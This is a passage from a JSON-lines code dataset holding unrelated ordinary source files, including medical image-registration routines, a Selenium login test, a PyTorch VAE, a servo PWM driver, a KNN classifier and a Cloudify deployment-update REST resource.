옮김\"\"\"\r\n if no > 1:\r\n move(no - 1, x, 6 - x - y)\r\n\r\n print(f'원반 [{no}]을(를) {x}기둥에서 {y}기둥으로 옮깁니다.')\r\n\r\n if no > 1:\r\n move(no - 1, 6 - x - y, y)\r\n\r\nprint('하노이의 탑을 구현하는 프로그램입니다.')\r\nn = int(input('원반의 개수를 입력하세요: '))\r\n\r\nmove(n, 1, 3)\r\nprint()","sub_path":"hanoi.py","file_name":"hanoi.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"457043272","text":"import sigpy as sp\nimport numpy as np\nimport os, glob\nimport nibabel \nfrom sigpy.linop import Linop\nfrom sigpy import backend\nimport scipy.ndimage as ndimage\nfrom scipy.io import loadmat\nfrom scipy import linalg\nimport ants\n\n__all__ = ['interp_op', 'interp', 'ANTsReg', 'ANTsAff', 'interp_affine_op']\n\ndef M_scale2(M, oshape, scale = 1):\n Mscale = [oshape[i]/M.shape[i+1] for i in range(M.shape[0])]\n Mo = np.zeros((M.shape[0],)+oshape)\n for i in range(M.shape[0]):\n M[i] = M[i]*(Mscale[i]*scale)\n Mo[i] = ndimage.zoom(M[i],zoom=tuple(Mscale),order=1)\n\n return Mo\n\ndef M_scale(M, oshape, scale = 1):\n Mscale = [oshape[i]/M.shape[i] for i in range(M.shape[-1])]\n Mo = np.zeros(oshape+(M.shape[-1],))\n for i in range(M.shape[-1]):\n M[...,i] = M[...,i]*(Mscale[i]*scale)\n Mo[...,i] = ndimage.zoom(M[...,i],zoom=tuple(Mscale),order=2)\n\n return Mo\n\ndef ANTsAff(If,Im,vox_res = [1,1,1], reg_level = [8,4,2], gauss_filt = [2,2,1]):\n # transfer to nifti\n Ifnft = nibabel.Nifti1Image(If,affine=np.diag(vox_res+[1]))\n Imnft = nibabel.Nifti1Image(Im,affine=np.diag(vox_res+[1]))\n \n nibabel.save(Ifnft,'./tmp_If.nii')\n nibabel.save(Imnft,'./tmp_Im.nii')\n \n reg_level_s = 'x'.join([str(t) for t in reg_level])\n gauss_filt_s = 'x'.join([str(t) for t in gauss_filt])\n \n ants_cmd = 'antsRegistration -d 3 -m MI[ {}, {}, 1, 50 ] -t Rigid[0.1] \\\n -c [ 100x100x40, 1e-6, 10 ] -s {}vox -f {} --winsorize-image-intensities [0.1,1]\\\n -l 1 -u 1 -z 1 -v -o tmp_'.format('tmp_Im.nii','tmp_If.nii',gauss_filt_s,reg_level_s)\n os.system(ants_cmd)\n x = loadmat('./tmp_0GenericAffine.mat')\n T = x['AffineTransform_double_3_3'].reshape([4,3])\n\n # ANTs orientation\n M_rot = [[1,-1,1],[-1,1,1],[1,1,1],[1,1,-1]]\n T = T*M_rot\n T[3,...] = T[3,...].dot(linalg.inv(T[:3]))\n \n return T\n\nclass interp_affine_op(Linop):\n def __init__(self, ishape, T):\n assert list(T.shape) == [4,3],\"Tmatrix Dimension mismatch!\"\n oshape = ishape\n self.T = T\n super().__init__(oshape, ishape)\n\n def _apply(self, input):\n return interp_affine(input,self.T)\n\n def _adjoint_linop(self):\n T = self._aff_inversion(self.T)\n\n return interp_affine_op(self.ishape, T)\n \n def _aff_inversion(self,T):\n T_inv = np.zeros_like(T)\n T_inv[:3,:] = np.linalg.inv(T[:3,:])\n T_inv[3,:] = -T[3,:].dot(T[:3,:].transpose())\n return T_inv\n \ndef interp_affine(I, T, aff_order = 1):\n # T should be [4,3], [:3,3] rotation, [3,:] shift\n shift_before_rot = T[3,:]\n shift_after_rot=shift_before_rot.dot(T[:3,:].transpose())\n shift_after_rot = -T[3,:]\n AT = lambda x: ndimage.affine_transform(x,T[:3,:],offset=-shift_after_rot,order=aff_order)\n if np.iscomplexobj(I) is True:\n I_aff = AT(np.real(I)) + 1j * AT(np.imag(I))\n else:\n I_aff = AT(I)\n \n return I_aff\n \ndef ANTsReg4(Is,ref = 0):\n M_fields = []\n iM_fields = []\n nphase = len(Is)\n for i in range(nphase):\n M_field, iM_field = ANTsReg(np.abs(Is[2]), np.abs(Is[i]))\n\n M_fields.append(M_field)\n iM_fields.append(iM_field)\n # change\n np.save('./M_field.npy',np.asarray(M_fields))\n np.save('./iM_field.npy',np.asarray(iM_fields))\n\ndef ANTsReg(If,Im,vox_res = [1,1,1], reg_level = [8,4,2], gauss_filt = [2,2,1]):\n\n fixed = ants.from_numpy(Im)\n moving = ants.from_numpy(If)\n \n tmp_dir = 'tmp{}_'.format(np.random.randint(0,1e4))\n \n reg_dict = ants.registration(fixed, moving, type_of_transform='SyNOnly', initial_transform=\"identity\",\\\n syn_metric='demons', syn_sampling=4, \\\n grad_step=0.1, flow_sigma=5, total_sigma=3,\\\n reg_iterations=(100,100,40,20,10), \\\n verbose=False, outprefix=tmp_dir, \\\n w='[0.1,1]', write_composite_transform=False)\n # -s -f -l not matched\n M_field = nibabel.load(reg_dict['fwdtransforms'][0])\n iM_field = nibabel.load(reg_dict['invtransforms'][-1])\n \n Mt = M_field.get_fdata()\n iMt = iM_field.get_fdata()\n \n #Mt = -M_field.get_fdata()\n #iMt = -iM_field.get_fdata()\n #Mt[...,:2] = -Mt[...,:2]\n #iMt[...,:2] = -iMt[...,:2]\n \n Mt = np.squeeze(Mt)\n iMt = np.squeeze(iMt)\n #Mt = M_scale(Mt,If.shape,1/reg_level[-1])\n #iMt = M_scale(iMt,If.shape,1/reg_level[-1])\n fileList = glob.glob(tmp_dir + '*')\n # Iterate over the list of filepaths & remove each file.\n for filePath in fileList:\n try:\n os.remove(filePath)\n except:\n continue\n \n return Mt, iMt\n\n## get Jacobian, Specific Ventilation\ndef ANTsJac(If,Im,vox_res = [1,1,1], reg_level = [8,4,2], gauss_filt = [2,2,1]):\n # to antsimage\n fixed = ants.from_numpy(Im)\n moving = ants.from_numpy(If)\n \n tmp_dir = 'tmp{}_'.format(np.random.randint(0,1e4))\n # SyN registration\n reg_dict = ants.registration(fixed, moving, type_of_transform='SyNOnly', \\\n syn_metric='demons', syn_sampling=4, \\\n grad_step=0.1, flow_sigma=5, total_sigma=3,\\\n reg_iterations=(100,100,40,20,10), \\\n verbose=False, outprefix=tmp_dir, \\\n w='[0.1,1]')\n \n # Jacobian \n jac_ants = ants.create_jacobian_determinant_image(fixed,reg_dict['invtransforms'][-1])\n jac = jac_ants.numpy()\n \n # calculate specific ventilation \n reg_ants = reg_dict['warpedfixout']\n reg = reg_ants.numpy()\n \n reg = ndimage.filters.gaussian_filter(reg, (3,3,3), mode='reflect', truncate=1)\n If = ndimage.filters.gaussian_filter(If, (3,3,3), mode='reflect', truncate=1)\n \n sv = (If - reg) / (reg + np.finfo(float).eps)\n \n\n # Get a list of all the file paths that ends with .txt from in specified directory\n fileList = glob.glob(tmp_dir + '*')\n # Iterate over the list of filepaths & remove each file.\n for filePath in fileList:\n try:\n os.remove(filePath)\n except:\n continue\n\n return jac, sv\n\n## Demons registration\ndef imgrad3d(I):\n gx = I-sp.circshift(I,(-1,),axes=(0,))\n gx[-1,:,:]=0 \n gy = I-sp.circshift(I,(-1,),axes=(1,))\n gy[:,-1,:]=0 \n gz = I-sp.circshift(I,(-1,),axes=(2,))\n gz[:,:,-1]=0 \n \n return gx,gy,gz\n\ndef lap3d(I):\n gxx = sp.circshift(I,(-1,),axes=(0,)) + sp.circshift(I,(1,),axes=(0,)) - 2*I\n gyy = sp.circshift(I,(-1,),axes=(1,)) + sp.circshift(I,(1,),axes=(1,)) - 2*I\n gzz = sp.circshift(I,(-1,),axes=(2,)) + sp.circshift(I,(1,),axes=(2,)) - 2*I\n lapI = gxx + gyy + gzz\n return lapI\n\ndef pmask(I,sigma):\n # TODO: optimize\n I = np.abs(I)\n mask = np.abs(I)>sigma\n mask = ndimage.morphology.binary_fill_holes(mask)\n mask = ndimage.morphology.binary_opening(mask,structure=np.ones((5,5,5)))\n return mask\n\ndef DemonsReg4(Is,ref = 0, level = 3, device = -1):\n M_fields = []\n iM_fields = []\n nphase = len(Is)\n print('4D Demons registration:')\n for i in range(nphase):\n print('Ref/Mov:{}/{}'.format(i,ref))\n M_field = Demons(np.abs(Is[ref]), np.abs(Is[i]), level = level, device = device)\n M_fields.append(M_field)\n \n return np.asarray(M_fields)\n\ndef Demons(If, Im, level, device = -1, rho = 0.7,\n sigmas_f = [2,2,2,3],sigmas_e = [2,2,2,2],sigmas_s = [.5,.5,1,1],iters = [40,40,40,20,20]):\n ### normalization??\n Im = np.abs(Im)\n m_scale = np.max(Im)\n Im = Im/m_scale\n If = np.abs(If)\n If = If/m_scale\n \n ### registration\n M = np.zeros(Im.shape+(3,))\n Mt = np.zeros(Im.shape+(3,))\n for k in range(level):\n print('Demons Level:{}'.format(k))\n ### hyperparameter assignment\n scale = 2**(level-k-1)\n sigma_f = sigmas_f[k]\n sigma_e = sigmas_e[k]\n sigma_s = sigmas_s[k]\n iter_each_level = iters[k]\n\n ###\n Ift = ndimage.zoom(If,zoom=1/scale,order=2)\n Ift = ndimage.gaussian_filter(Ift,sigma=sigma_s,truncate=2.0)\n Imt = ndimage.zoom(Im,zoom=1/scale,order=2)\n Imt = ndimage.gaussian_filter(Imt,sigma=sigma_s,truncate=2.0)\n Imask = pmask(Imt+Ift,1e-2)\n\n Isizet = Ift.shape \n Mt = M_scale(Mt,Isizet)\n uo = np.zeros_like(Mt)\n for i in range(iter_each_level):\n\n Imm = interp(Imt, Mt ,device = sp.Device(device),k_id = 1)\n Ifm = interp(Ift, -Mt ,device = sp.Device(device),k_id = 1)\n dI = Ifm-Imm\n Is = (Ifm+Imm)/2\n # Is = ndimage.gaussian_filter((Ifm+Imm)/2,sigma=sigma_s,truncate=2.0)\n\n gIx,gIy,gIz = imgrad3d(Is)\n gI = np.sqrt(np.abs(gIx**2+gIy**2+gIz**2)+1e-6)\n discriminator = gI**2 + np.abs(dI)**2\n dI = dI * 3.0\n ux = -dI*gIx/discriminator\n uy = -dI*gIy/discriminator\n uz = -dI*gIz/discriminator\n\n mask = (gI<1e-4)|(~Imask)\n ux[np.isnan(ux)|mask]=0\n uy[np.isnan(uy)|mask]=0\n uz[np.isnan(uz)|mask]=0\n\n ux = np.maximum(np.minimum(ux,1),-1)\n uy = np.maximum(np.minimum(uy,1),-1)\n uz = np.maximum(np.minimum(uz,1),-1)\n ux = ndimage.gaussian_filter(ux,sigma=sigma_f)\n uy = ndimage.gaussian_filter(uy,sigma=sigma_f)\n uz = ndimage.gaussian_filter(uz,sigma=sigma_f)\n\n\n Mt[...,0] = Mt[...,0] + rho * ux + (1-rho)*uo[...,0]\n Mt[...,1] = Mt[...,1] + rho * uy + (1-rho)*uo[...,1]\n Mt[...,2] = Mt[...,2] + rho * uz + (1-rho)*uo[...,2]\n uo[...,0] = ux\n uo[...,1] = uy\n uo[...,2] = uz\n\n Mt[...,0] = ndimage.gaussian_filter(Mt[...,0],sigma=sigma_e)\n Mt[...,1] = ndimage.gaussian_filter(Mt[...,1],sigma=sigma_e)\n Mt[...,2] = ndimage.gaussian_filter(Mt[...,2],sigma=sigma_e)\n \n ### TODO inverse combination (right now just double)\n M = M_scale(Mt*2,Im.shape) \n return M\n\n\n\n## interpolation operator\nclass interp_op(Linop):\n def __init__(self, ishape, M_field, iM_field = None):\n ndim = M_field.shape[-1]\n assert list(ishape) == list(M_field.shape[:-1]),\"Dimension mismatch!\"\n oshape = ishape\n self.M_field = M_field\n self.iM_field = iM_field\n super().__init__(oshape, ishape)\n\n def _apply(self, input):\n device = backend.get_device(input)\n\n with device:\n return interp(input, self.M_field, device, 1) # major change\n\n def _adjoint_linop(self):\n device = backend.get_device(input)\n if self.iM_field is None:\n iM_field = -self.M_field\n M_field = None\n else:\n iM_field = self.iM_field\n M_field = self.M_field\n\n return interp_op(self.ishape, iM_field, M_field)\n \ndef interp(I, M_field, device = sp.Device(-1), k_id = 1, deblur = True):\n # b spline interpolation\n N = 64\n if k_id is 0:\n kernel = [(3*(x/N)**3-6*(x/N)**2+4)/6 for x in range(0,N)]+[(2-x/N)**3/6 for x in range(N,2*N)]\n dkernel = np.array([-.2,1.4,-.2])\n \n k_wid = 4\n else:\n kernel = [1-x/(2*N) for x in range(0,2*N)]\n dkernel = np.array([0,1,0])\n deblur = False\n k_wid = 2\n kernel = np.asarray(kernel)\n \n c_device = sp.get_device(I)\n ndim = M_field.shape[-1]\n \n # 2d/3d\n if ndim is 3:\n dkernel = dkernel[:,None,None]*dkernel[None,:,None]*dkernel[None,None,:]\n Nx,Ny,Nz = I.shape\n my,mx,mz = np.meshgrid(np.arange(Ny),np.arange(Nx),np.arange(Nz))\n m = np.stack((mx,my,mz),axis=-1)\n M_field = M_field + m\n else:\n dkernel = dkernel[:,None]*dkernel[None,:]\n Nx,Ny = I.shape\n my,mx = np.meshgrid(np.arange(Ny),np.arange(Nx))\n m = np.stack((mx,my,mz),axis=-1)\n M_field = M_field + m\n # TODO remove out of range values\n \n # image warp\n \n g_device = device\n I = sp.to_device(input=I,device=g_device)\n from importlib_metadata import version\n if version('sigpy') <= '0.1.16':\n I = sp.interp.interpolate(I,k_wid,kernel,M_field.astype(np.float64)) # v0.1.16 (input, width, kernel, coord)\n else: \n M_field_device = sp.to_device(input=M_field.astype(np.float64), device=g_device) # v0.1.17\n I = sp.interp.interpolate(input=I,coord=M_field_device) # v0.1.17 (input, coord, kernel='spline', width=2, param=1)\n # deconv\n if deblur is True:\n sp.conv.convolve(I,dkernel)\n I = sp.to_device(input=I,device=c_device)\n \n return I\n","sub_path":"imoco_py/sigpy_e/reg.py","file_name":"reg.py","file_ext":"py","file_size_in_byte":12699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"295551270","text":"#coding:utf-8\nfrom selenium import webdriver\nimport unittest\nfrom pages.login_page import LoginPage,login_url\nimport time\n\n'''\n1,输入用户名，输入密码，点击登录\n2，输入用户名，不输入密码，点击登录\n3，输入错误的用户名，密码，点击登录\n4，点击忘记密码\n'''\n\nclass LoginPageCase(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.driver = webdriver.Firefox()\n cls.loginp = LoginPage(cls.driver)\n\n def setUp(self):\n self.driver.get(login_url)\n self.loginp.is_exist_alert()\n self.driver.delete_all_cookies()\n self.driver.refresh()\n\n def test_01(self):\n '''输入用户名，输入密码，点击登录'''\n self.loginp.input_user(\"zhouyanping\")\n self.loginp.input_pwd(\"zhouyanping\")\n self.loginp.click_login_button()\n gu = self.loginp.get_login_info()\n assert gu == \"周艳萍\"\n\n def test_02(self):\n '''输入用户名，不输入密码，点击登录'''\n self.loginp.input_user(\"zhouyanping\")\n self.loginp.click_login_button()\n gu = self.loginp.get_login_info()\n assert gu == \"\"\n\n def test_03(self):\n '''输入错误的用户名，密码，点击登录'''\n self.loginp.input_user(\"zhouyanping\")\n self.loginp.input_pwd(\"123456\")\n self.loginp.click_login_button()\n gu = self.loginp.get_login_info()\n assert gu == \"\"\n\n def test_04(self):\n '''点击忘记密码'''\n self.loginp.click_forget_pwd()\n gu = self.loginp.get_element()\n assert gu == \"刷新\"\n\n @classmethod\n def tearDownClass(cls):\n cls.driver.quit()\n\nif __name__ == \"__main__\":\n unittest.main()\n\n\n\n\n\n\n\n","sub_path":"case/test_login_case.py","file_name":"test_login_case.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"227957817","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\nimport torch.nn.functional as F\nclass Encode(nn.Module):\n\n def __init__(self,x_dim,z_dim,hidden_dim,vocab_size,dropout,bsz,device_id):\n super(Encode, self).__init__()\n self.x_dim = x_dim\n self.z_dim = z_dim\n self.hidden_dim = hidden_dim\n self.bsz = bsz\n self.device_id = device_id\n self.lstm = nn.LSTM(x_dim, hidden_dim,dropout=dropout)\n self.fc21 = nn.Linear(hidden_dim, z_dim) #mean\n self.drop = nn.Dropout(dropout)\n self.fc5 = nn.Linear(z_dim,hidden_dim)\n self.init_weights()\n def init_weights(self):\n initrange = 0.1\n self.fc21.bias.data.fill_(0)\n self.fc21.weight.data.uniform_(-initrange, initrange)\n self.fc5.bias.data.fill_(0)\n self.fc5.weight.data.uniform_(-initrange, initrange)\n def noise(self):\n xi = Variable(torch.randn(self.bsz,self.z_dim).cuda(self.device_id))\n return xi\n\n def forward(self, x):\n c0 = Variable(torch.zeros((1,self.bsz,self.hidden_dim)).cuda(self.device_id))\n xi = self.noise()\n h0 = self.fc5(xi)\n h0 = h0.unsqueeze(0)\n s0 = (h0,c0)\n lstm_out, _ = self.lstm(x,s0)\n lstm_out = lstm_out[-1,:,:]\n lstm_out = self.drop(lstm_out)\n z = self.fc21(lstm_out)\n return z\n\nclass Decode(nn.Module):\n\n def __init__(self, x_dim,z_dim,hidden_dim,vocab_size,dropout,bsz,device_id):\n super(Decode, self).__init__()\n self.z_dim = z_dim\n self.hidden_dim = hidden_dim\n self.fc5 = nn.Linear(z_dim,hidden_dim)\n self.lstm = nn.LSTM(x_dim, hidden_dim,dropout=dropout)\n self.fc4 = nn.Linear(hidden_dim,vocab_size)\n self.drop = nn.Dropout(dropout)\n self.bsz = bsz\n self.device_id = device_id\n self.init_weights()\n def init_weights(self):\n initrange = 0.1\n self.fc5.bias.data.fill_(0)\n self.fc5.weight.data.uniform_(-initrange, initrange)\n self.fc4.bias.data.fill_(0)\n self.fc4.weight.data.uniform_(-initrange, initrange)\n\n def forward(self,x_emb, z):\n c0 = Variable(torch.zeros((1,self.bsz,self.hidden_dim)).cuda(self.device_id))\n h0 = self.fc5(z)\n h0 = h0.unsqueeze(0)\n s0 = (h0,c0)\n ht,st = self.lstm(x_emb,s0)\n ht = self.drop(ht)\n recon_batch = self.fc4(ht)\n return recon_batch\nclass Label(nn.Module):\n\n def __init__(self,x_dim,z_dim,hidden_dim,vocab_size,dropout,bsz,device_id):\n super(Label, self).__init__()\n self.x_dim = x_dim\n self.hidden_dim = hidden_dim\n self.fc5 = nn.Linear(z_dim,hidden_dim)\n self.lstm = nn.LSTM(x_dim, hidden_dim,dropout=dropout)\n self.fc1 = nn.Linear(hidden_dim, 2)\n self.drop = nn.Dropout(dropout)\n self.device_id = device_id\n self.bsz = bsz\n self.init_weights()\n def init_weights(self):\n initrange = 0.1\n self.fc5.bias.data.fill_(0)\n self.fc5.weight.data.uniform_(-initrange, initrange)\n self.fc1.bias.data.fill_(0)\n self.fc1.weight.data.uniform_(-initrange, initrange)\n\n def forward(self, x,z):\n c0 = Variable(torch.zeros((1,self.bsz,self.hidden_dim)).cuda(self.device_id))\n h0 = self.fc5(z)\n h0 = h0.unsqueeze(0)\n s0 = (h0,c0)\n lstm_out, _ = self.lstm(x,s0)\n lstm_out = lstm_out[-1,:,:]\n lstm_out = self.drop(lstm_out)\n recon_label = self.fc1(lstm_out)\n probs = F.softmax(recon_label,dim = 1)\n\n return probs\nclass VAE(nn.Module):\n \"\"\"Container module with an encoder, a recurrent module, and a decoder.\"\"\"\n\n def __init__(self, rnn_type, ntoken, ninp, nhid, z_dim,nlayers, device_id, bsz,dropout=0.5, tie_weights=False):\n super(VAE, self).__init__()\n self.drop = nn.Dropout(dropout)\n self.word_embeddings = nn.Embedding(ntoken, ninp)\n self.encoder = Encode(ninp,z_dim,nhid,ntoken,dropout,bsz,device_id)\n self.decoder = Decode(ninp,z_dim,nhid,ntoken,dropout,bsz,device_id)\n self.label = Label(ninp,z_dim,nhid,ntoken,dropout,bsz,device_id)\n self.rnn_type = rnn_type\n self.nhid = nhid\n self.nlayers = nlayers\n self.device_id = device_id\n self.bsz = bsz\n self.embed = nn.Sequential(\n self.word_embeddings,\n self.drop)\n self.init_weights()\n def init_weights(self):\n initrange = 0.1\n self.word_embeddings.weight.data.uniform_(-initrange, initrange)\n\n def forward(self, input):\n emb = self.embed(input)\n z = self.encoder(emb)\n fake_label = self.label(emb,z)\n recon_batch = self.decoder(emb,z)\n return recon_batch,z,fake_label\n\n def noise_loss(self,lr,alpha):\n noise_loss = 0.0\n noise_std = np.sqrt(2/lr*alpha)\n for var in self.parameters():\n means = torch.zeros(var.size()).cuda(self.device_id)\n noise = Variable(torch.normal(means, std = noise_std).cuda(self.device_id),requires_grad = False)\n noise_loss += torch.sum(var * noise)\n return noise_loss\n ","sub_path":"semi_text/model_bae.py","file_name":"model_bae.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"224742981","text":"import asyncio\nfrom aiohttp import web\nfrom .config import repos\n\n\n@asyncio.coroutine\ndef handle(request):\n path = request.match_info['path']\n repo = path.lstrip('/').partition('/')[0]\n if repo not in repos.keys():\n raise web.HTTPNotFound\n return web.Response()\n\napp = web.Application()\napp.router.add_route('GET', '/{path:.*}', handle)\n\nif __name__ == '__main__':\n web.run_app(app)\n\n# vim: set expandtab ts=4 sw=4:\n","sub_path":"repo-proxy/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"436931409","text":"import time\nimport pigpio\n# By default it uses GPIO.BCM pin numbering.\n\n# FIRST RUN sudo pigpiod in terminal\n\nclass PWM:\n\tdef __init__(self, pin, min_val=750, max_val=2300): # vals in us\n\t\tself.pin = pin\n\t\tself.pi = pigpio.pi()\n\t\tself.pi.set_mode(self.pin, pigpio.OUTPUT)\n\t\tself.min= min_val\n\t\tself.max = max_val\n\n\tdef set_angle(self, angle):\n\t\tdeg = float(self.max-self.min)/180\n\t\tduty_cycle = self.min + deg*angle\n\t\tself.pi.set_servo_pulsewidth(self.pin, duty_cycle)\n\n\tdef set_duty_cycle(self, dc): # duty cycle in us\n\t\tself.pi.set_servo_pulsewidth(self.pin, dc)\n\n\tdef stop(self):\n\t\tself.pi.set_servo_pulsewidth(self.pin, 0)\n\t\tself.pi.stop()\n\n\tdef example_servo(self):\n\t\tself.pi.set_servo_pulsewidth(self.pin, self.min) # safe anti-clockwise\n\t\ttime.sleep(5)\n\t\t# self.pi.set_servo_pulsewidth(self.pin, (self.max+self.min)/2) # centre\n\t\t# time.sleep(2)\n\t\tself.pi.set_servo_pulsewidth(self.pin, self.max) # safe clockwise\n\t\ttime.sleep(2)\n\t\tself.stop()\n\n\tdef example_throttle(self):\n\t\tself.pi.set_servo_pulsewidth(self.pin, 1200)\n\t\ttime.sleep(2)\n\t\tself.pi.set_servo_pulsewidth(self.pin, 0)\n\t\t# self.stop()\n\nif __name__ == '__main__':\n\tpin = 17\n\tservo = PWM(pin)\n\t# servo.set_duty_cycle(1000)\n\t# servo.example_throttle()\n\t# servo.example_servo()\n\n\tservo.set_angle(180)\n\ttime.sleep(2)\n\tservo.stop()","sub_path":"src/propelled_cow/src/propelled_cow/pwm_pigpio.py","file_name":"pwm_pigpio.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"571950511","text":"class Solution:\n def rotate(self, matrix):\n \"\"\"\n Do not return anything, modify matrix in-place instead.\n \"\"\"\n if not matrix or len(matrix) == 1:\n return\n\n initial_len = len(matrix)\n added = 0\n for col in range(len(matrix)):\n print(\"matrix so far\", matrix)\n rotated = [matrix[idx][col] for idx in range(len(matrix) - 1, added-1, -1)]\n matrix.insert(col, rotated)\n added += 1\n print(\"matrix\", matrix)\n\n while initial_len:\n matrix.pop()\n initial_len -= 1\n\n\n return matrix\n\n\ntest_case = [[1,2,3],[4,5,6],[7,8,9]]\nexp_result = [[7,4,1],[8,5,2],[9,6,3]]\nres = Solution().rotate(test_case)\n\n","sub_path":"tinker/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"361974152","text":"from sklearn.datasets import load_breast_cancer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nimport matplotlib.pyplot as plt\n\nbreast_cancer_data = load_breast_cancer()\n\n#splitting breast_cancer_data in training and validation sets\ntraining_data, validation_data, training_labels, validation_labels = train_test_split(breast_cancer_data.data, breast_cancer_data.target, test_size = 0.2, random_state = 100)\n\nk_list = range(1,101)\nk_accuracies = []\nfor k in range(1,101):\n classifier = KNeighborsClassifier(k)\n classifier.fit(training_data, training_labels) #fitting data to classifier to generate trends\n score = classifier.score(validation_data, validation_labels) #generating validation score for each K-value\n k_accuracies.append(score)\n \n#plotting K-Neighbors and correlating validation score\nplt.plot(k_list, k_accuracies)\nplt.xlabel(\"k values\")\nplt.ylabel(\"k accuracies\")\nplt.show()\n","sub_path":"BreastCancerClassifer.py","file_name":"BreastCancerClassifer.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"471489626","text":"#########\n# Copyright (c) 2015 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\nfrom flask import request\nfrom flask_restful_swagger import swagger\n\nfrom manager_rest.deployment_update.constants import PHASES\nfrom manager_rest import manager_exceptions\nfrom manager_rest.storage import models\nfrom manager_rest.security import SecuredResource\nfrom manager_rest.security.authorization import authorize\nfrom manager_rest.utils import create_filter_params_list_description\nfrom manager_rest.upload_manager import \\\n UploadedBlueprintsDeploymentUpdateManager\nfrom manager_rest.deployment_update.manager import \\\n get_deployment_updates_manager\n\nfrom .. import rest_decorators\nfrom ..rest_utils import verify_and_convert_bool\n\n\nclass DeploymentUpdate(SecuredResource):\n @rest_decorators.exceptions_handled\n @authorize('deployment_update_create')\n @rest_decorators.marshal_with(models.DeploymentUpdate)\n def post(self, id, phase):\n \"\"\"\n Provides support for two phases of deployment update. The phase is\n chosen according to the phase arg, and the id is used by this step.\n\n In the first phase the deployment update is\n 1. Staged (from a new blueprint)\n 2. The steps are extracted and saved onto the data model.\n 3. The data storage is manipulated according to the\n addition/modification steps.\n 4. The update workflow is run, executing any lifecycles of add/removed\n nodes or relationships.\n\n The second step finalizes the commit by manipulating the data model\n according to any removal steps.\n\n In order\n :param id: for the initiate step it's the deployment_id, and for the\n finalize step it's the update_id\n :param phase: initiate or finalize\n :return: update response\n \"\"\"\n if phase == PHASES.INITIAL:\n return self._commit(id)\n elif phase == PHASES.FINAL:\n return get_deployment_updates_manager().finalize_commit(id)\n\n @staticmethod\n def _commit(deployment_id):\n manager = get_deployment_updates_manager()\n request_json = request.args\n skip_install = verify_and_convert_bool(\n 'skip_install',\n request_json.get('skip_install', 'false'))\n skip_uninstall = verify_and_convert_bool(\n 'skip_uninstall',\n request_json.get('skip_uninstall', 'false'))\n force = verify_and_convert_bool(\n 'force',\n request_json.get('force', 'false'))\n workflow_id = request_json.get('workflow_id', None)\n\n if (skip_install or skip_uninstall) and workflow_id:\n raise manager_exceptions.BadParametersError(\n 'skip_install has been set to {0}, skip uninstall has been'\n ' set to {1}, and a custom workflow {2} has been set to '\n 'replace \"update\". However, skip_install and '\n 'skip_uninstall are mutually exclusive with a custom '\n 'workflow'.format(skip_install,\n skip_uninstall,\n workflow_id))\n\n manager.validate_no_active_updates_per_deployment(\n deployment_id=deployment_id, force=force)\n\n deployment_update, _ = \\\n UploadedBlueprintsDeploymentUpdateManager(). \\\n receive_uploaded_data(deployment_id)\n\n manager.extract_steps_from_deployment_update(deployment_update)\n\n return manager.commit_deployment_update(\n deployment_update,\n skip_install=skip_install,\n skip_uninstall=skip_uninstall,\n workflow_id=workflow_id)\n\n\nclass DeploymentUpdateId(SecuredResource):\n @swagger.operation(\n responseClass=models.DeploymentUpdate,\n nickname=\"DeploymentUpdate\",\n notes='Return a single deployment update',\n parameters=create_filter_params_list_description(\n models.DeploymentUpdate.response_fields, 'deployment update'\n )\n )\n @rest_decorators.exceptions_handled\n @authorize('deployment_update_get')\n @rest_decorators.marshal_with(models.DeploymentUpdate)\n def get(self, update_id):\n return \\\n get_deployment_updates_manager().get_deployment_update(update_id)\n\n\nclass DeploymentUpdates(SecuredResource):\n @swagger.operation(\n responseClass='List[{0}]'.format(\n models.DeploymentUpdate.__name__),\n nickname=\"listDeploymentUpdates\",\n notes='Returns a list of deployment updates',\n parameters=create_filter_params_list_description(\n models.DeploymentUpdate.response_fields,\n 'deployment updates'\n )\n )\n @rest_decorators.exceptions_handled\n @authorize('deployment_update_list')\n @rest_decorators.marshal_with(models.DeploymentUpdate)\n @rest_decorators.create_filters(models.DeploymentUpdate)\n @rest_decorators.paginate\n @rest_decorators.sortable(models.DeploymentUpdate)\n def get(self, _include=None, filters=None, pagination=None,\n sort=None, **kwargs):\n \"\"\"\n List deployment modification stages\n \"\"\"\n deployment_updates = \\\n get_deployment_updates_manager().list_deployment_updates(\n include=_include, filters=filters, pagination=pagination,\n sort=sort, **kwargs)\n return deployment_updates\n","sub_path":"rest-service/manager_rest/rest/resources_v2_1/deployment_update.py","file_name":"deployment_update.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"542845684","text":"CALL = 0b01010000\nHLT = 0b00000001 \nINT = 0b01010010\nIRET = 0b00010011\nJEQ = 0b01010101\nJGE = 